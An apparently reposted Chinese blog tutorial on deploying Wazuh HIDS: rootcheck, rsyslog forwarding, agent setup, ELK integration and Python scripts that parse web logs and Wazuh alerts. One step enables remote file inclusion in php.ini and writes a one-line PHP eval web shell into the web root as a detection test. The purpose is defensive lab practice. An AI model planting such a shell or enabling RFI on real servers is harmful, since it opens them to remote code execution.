    <check_dev>yes</check_dev>
    <check_sys>yes</check_sys>
    <check_pids>yes</check_pids>
    <check_ports>yes</check_ports>
    <check_if>yes</check_if>

    <!-- Frequency that rootcheck is executed - every 12 hours -->
    <!-- <frequency>43200</frequency> -->
    <frequency>10</frequency>
    <rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>

    <system_audit>etc/rootcheck/system_audit_lampp.txt</system_audit>
    <skip_nfs>yes</skip_nfs>
  </rootcheck>

在这里插入图片描述

修改php.ini,开启远程文件包含

vim /opt/lampp/etc/php.ini

在这里插入图片描述

在这里插入图片描述

创建个一句话的文件

echo '<?php eval($_POST("pass"));?>' > /opt/lampp/htdocs/test_shell.php

在这里插入图片描述

sca

检测操作系统的各种配置

syslog和rsyslog

远程采集别的服务器的日志,可以通过

1、syslog

2、用户名密码,不推荐,只能做简单的

3、agent

再找一台服务器,启动rsyslog

启动
systemctl status rsyslog

rsyslog配置文件
vim /etc/rsyslog.conf

在wazuh服务器的/etc/rsyslog.conf修改

如果是来自192.168.174.134的日志,保存到/var/log/host_192.168.174.134.log下,并重启

:FROMHOST-IP, isequal, "192.168.174.134" /var/log/host_192.168.174.134.log
:FROMHOST-IP, isequal, "192.168.174.134" ~

查看服务器端的514udp为开启状态

netstat -anu

在客户端/etc/rsyslog.conf修改,增加一行,然后重启

*.* @192.168.174.5:514

wazuh-syslog

wazuh服务器,可以将自己的预警日志通过syslog发送给别的服务器

wazuh客户端,可以通过syslog把日志发送给wazuh服务器

wazuh-agent客户端

服务端生成key,

A添加agent

E获取agent的key(根据ID获取)

L列出agent

R删除agent

Q退出

/var/ossec/bin/manage_agents

开启1514,开启后1514端口会打开

  <remote>
    <connection>secure</connection>
    <port>1514</port>
    <protocol>tcp</protocol>
    <queue_size>131072</queue_size>
  </remote>

要加哪个客户端就加,选择A的选项,输入name和ip后,拿到key

windows

在官网下载agent,wazuh-agent-4.1.5-1.msi,双击下一步安装后

安装在C:\Program Files (x86)\ossec-agent

在这里插入图片描述

打开配置文件

在这里插入图片描述

写上服务器的配置和之前添加生成的key,该文件也包含了监控的各个目录

在这里插入图片描述

或者使用ui进行ip和key的配置

在这里插入图片描述

频率改为10s,并开启服务

在这里插入图片描述

在这里插入图片描述

在服务器上可以看到

在这里插入图片描述

登录失败就会监听到

在这里插入图片描述

linux

rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1
EOF
yum install wazuh-agent
systemctl enable wazuh-agent

跟windows同样的操作

vim /var/ossec/etc/ossec.conf
    <server>
      <address>192.168.174.6</address>
      <port>1514</port>
      <protocol>tcp</protocol>
    </server>

同样频率调为10

在这里插入图片描述

需要执行命令导入Key,这次选项选I输入key就好了

/var/ossec/bin/manage_agents

开启

systemctl start wazuh-agent

集成ELK

在首页下载ova直接导入vmware

虚拟机密码为

user: wazuh-user
password: wazuh

访问

https://192.168.174.6
user: admin
password: admin

在这里插入图片描述

在这里插入图片描述

agent客户端添加一个账号都是可以看到的

在这里插入图片描述

我们来个登录失败的

在这里插入图片描述

界面可以看到

在这里插入图片描述

在这里插入图片描述

360星图

对web日志,apache,iis等进行离线分析,要有java环境

配置文件

在这里插入图片描述

准备一个日志文件

在这里插入图片描述

在config.ini中改成这个文件的路径

在这里插入图片描述

运行start.bat

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

python实时读取日志

实时读取日志

'''
file = open("test.py")
print(file.tell())

# 文件指针到末尾
file.seek(0, 2)

print("文件共" + str(file.tell()) + "个字节")
# 文件指针到开头
file.seek(0, 0)
content = file.read(100)
print(content)
print(file.tell())
file.close()
'''
import re
import time

filename = "E:/soft/xampp/file/apache/logs/access.log"

'''
192.168.2.99 - - [08/Mar/2023:17:53:08 +0800] "GET /phpinfo.php HTTP/1.1" 404 6851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
'''

# 打开日志文件
file = open(filename)
# 移动到日志末尾
file.seek(0, 2)
list_all = []

# 死循环
while True:
    print("-----正在读取文件-----")
    # 调用readlines时指针会指向末尾
    line_list = file.readlines()
    # 如果大于零说明日志更新了,读到了
    if len(line_list) > 0:
        for line in line_list:
            print(line)
            pattern = '([\d\.]+) - - \[(\S+) \+0800\] "(\w+) (\S+) HTTP/1.1" (\d+) (\d+) "(\S+)" "([\S|\s]+)"'
            list = re.findall(pattern, line)
            srcip = list[0][0]
            access_time = list[0][1]
            method = list[0][2]
            url = list[0][3]
            status_code = list[0][4]
            resp_size = list[0][5]
            referer = list[0][6]
            user_agent = list[0][7]

            dict = {}
            dict['srcip'] = srcip
            dict['access_time'] = access_time
            dict['method'] = method
            dict['url'] = url
            dict['status_code'] = status_code
            dict['resp_size'] = resp_size
            dict['referer'] = referer
            dict['user_agent'] = user_agent
            # print(srcip, access_time, method, url, status_code, resp_size, referer, user_agent)
            list_all.append(dict)
        print(list_all)
    time.sleep(5)

处理wazuh的alert.json

拷贝一个wazuh的alert.log中的一行告警

{"timestamp":"2023-03-07T15:35:34.651+0800","rule":{"level":5,"description":"Web server 404 error code.","id":"31101","firedtimes":3,"mail":false,"groups":["web_log","attack"],"pci_dss":["6.5","11.4"],"gdpr":["IV_35.7.d"],"nist_800_53":["SA.11","SI.4"],"tsc":["CC6.6","CC7.1","CC8.1","CC6.1","CC6.8","CC7.2","CC7.3"]},"agent":{"id":"000","name":"localhost.localdomain"},"manager":{"name":"localhost.localdomain"},"id":"1678174534.81648","full_log":"192.168.174.1 - - [07/Mar/2023:15:35:34 +0800] GET /user/reg.php111 HTTP/1.1 404 1034","decoder":{"name":"web-accesslog"},"data":{"protocol":"GET","srcip":"192.168.174.1","id":"404","url":"/user/reg.php111"},"location":"/opt/lampp/logs/access_log"}

vscode安装pylance及python插件

在这里插入图片描述

linux下python3

https://blog.csdn.net/weixin_53060366/article/details/125828328
from datetime import datetime
import time
import json

filename = "/var/ossec/logs/alerts/alerts.json"
file = open(r'/var/ossec/logs/alerts/alerts.json')

file.seek(0, 2)

while True:
    line_list = file.readlines()
    if line_list == 0:
        continue

    for line in line_list:
        data = json.loads(line.strip())

        timestamp = datetime.strptime(data['timestamp'], '%Y-%m-%dT%H:%M:%S.%f+0800')
        level = data['rule']['level']
        description = data['rule']['description']
        ruleid = data['rule']['id']
        firedtimes = data['rule']['firedtimes']
        agent = data['agent']
        full_log = data['full_log']
        srcip = data['data']['srcip'] if 'srcip' in data['data'].keys() else ''


        print('timestamp : ' + str(timestamp))
        print('level : ' + str(level))
        print('ruleid : ' + str(ruleid))
        print('firedtimes : ' + str(firedtimes))
        print('srcip : ' + str(srcip))
        print('agent : ' + str(agent))
        print('description : ' + str(description))
        print('full_log : ' + str(full_log))
        print("\n")

    time.sleep(5)

在这里插入图片描述

在这里插入图片描述

wazuh能帮我们解决的问题?

1.监控。在各个服务器上部署agent进行信息的获取信息来源,主要分为日志和命令执行的结果,从这一点看出,hids还是偏事后的,很显然攻击已经发生,有了日志或者命令结果的记录,hids才会进行后续的操作,所以wazuh也可以充当seim
1.1监控各个配置的目录
1.2监控配置命令的执行结果
2.解码器。根据正则/json获取需要的日志,包括提取ip,用户名等等
3.规则。根据解码器获取的日志与规则进行匹配
4.响应。根据规则结果进行host_deny或者firewall_drop

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/130244967
ids